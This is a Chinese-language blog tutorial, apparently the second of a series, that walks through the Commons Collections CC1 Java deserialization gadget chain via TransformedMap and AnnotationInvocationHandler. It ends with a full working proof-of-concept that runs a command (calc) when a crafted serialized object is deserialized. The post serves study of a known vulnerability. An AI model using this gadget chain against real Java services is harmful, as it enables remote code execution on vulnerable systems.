java cc1链后续
上篇已经了解,漏洞出现的方法在InvokerTransformer.transform
方法中,并且通过ChainedTransformer.transform
进行了调用利用,这里查找有那些方法调用了ChainedTransformer.transform
,(右键->转到->声明或用例),这里找到了TransformedMap
类里面的transformValue
,由于是被protected
修饰的,然后找到了put
方法,transformValue
方法中的valueTransformer
是由TransformedMap
,也是被protected
修饰的,所以找到了decorate
方法
代码如下
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
不考虑getRutime的情况下,直接利用InvokerTransformer.transform
方法
InvokerTransformer a= new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map b=new HashMap();
Map c = TransformedMap.decorate(b, null, a);
c.put("aaa",Runtime.getRuntime());
考虑getRuntime序列化的话,则变为
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "666");
因为这里面运行了ConstantTransformer.transform
方法,所以在put
方法中不用传入Runtime.getRuntime()
,至于为什么传入的分别是Runtime.getRuntime()
和Runtime.class
,上篇已给出解释
但最后的目的是反序列化,也就是readObject
,这里跟着前人的想法找到了checkSetValue
方法,实际上checkSetValue
和transformValue
大体相同,checkSetValue
到readObject
的距离相对较近,可能会有别的路线,但是调用put的有几千个方法,还要一层一层的往上找,就不找别的了
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
右键查找只有一个方法调用了checkSetValue
方法,在AbstractInputCheckedMapDecorator
下面的setValue
方法,在AnnotationInvocationHandler
的readObject
方法中调用了setValue
方法。
AbstractInputCheckedMapDecorator
下面的setValue
方法,刚好是用来修改Map键值对中的属性值的,这里使用循环遍历数组或者查看特定属性名均可
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> map = new HashMap<>();
map.put("apple", 111);
Map<Object, Object> transformedmap = TransformedMap.decorate (map, null, invokerTransformer);
Map.Entry<Object, Object> entry = transformedmap.entrySet().stream()
.filter(e -> e.getKey().equals("apple"))
.findFirst()
.orElse(null);
entry.setValue(r);
或者
for (Map.Entry<Object, Object> entry : transformedmap.entrySet()) {
entry.setValue(r);
}
在AnnotationInvocationHandler
的readObject
方法中就是这种for循环遍历然后调用setValue
方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
这里需要修改的就是memberValues
的值,而memberValues
的值是由
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
构造器决定的,由于该构造器为私有方法.只能通过反射的方式进行调用,通过反射创建一个实例,当实例被反序列化时,实例中的readObject
方法会自动执行,由于这里的构造方法为私有方法,所以只能够通过反射进行调用
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class, Map.class);//获取构造方法
constructor.setAccessible(true);//改变私有属性
Object o=constructor.newInstance(Target.class,transformedmap);//创建实例
由于这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而所使用的注解Override
是没有成员变量的:
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}
这里使用target
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] value();
}
然后再加上序列化和反序列化方法,最后的poc为
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","gxngxngxn");
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap);
serialize(o);
unserialize("person.bin");
}
代码运行流程
反序列化时,由于序列化的是一个实例,自动执行实例下面的readObject()
方法,readObject()-->setValue()-->checkSetValue()->ChainedTransformer.transform()-->ConstantTransformer.transform()-->InvokerTransformer.transform()
由于readObject()–>setValue()传入的参数为
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))
使用ConstantTransformer.transform()
方法替换为Runtime.class
这两篇更多的是根据poc来进行分片分析,涉及的方面有些许遗漏,还请见谅
大佬 菜菜 带带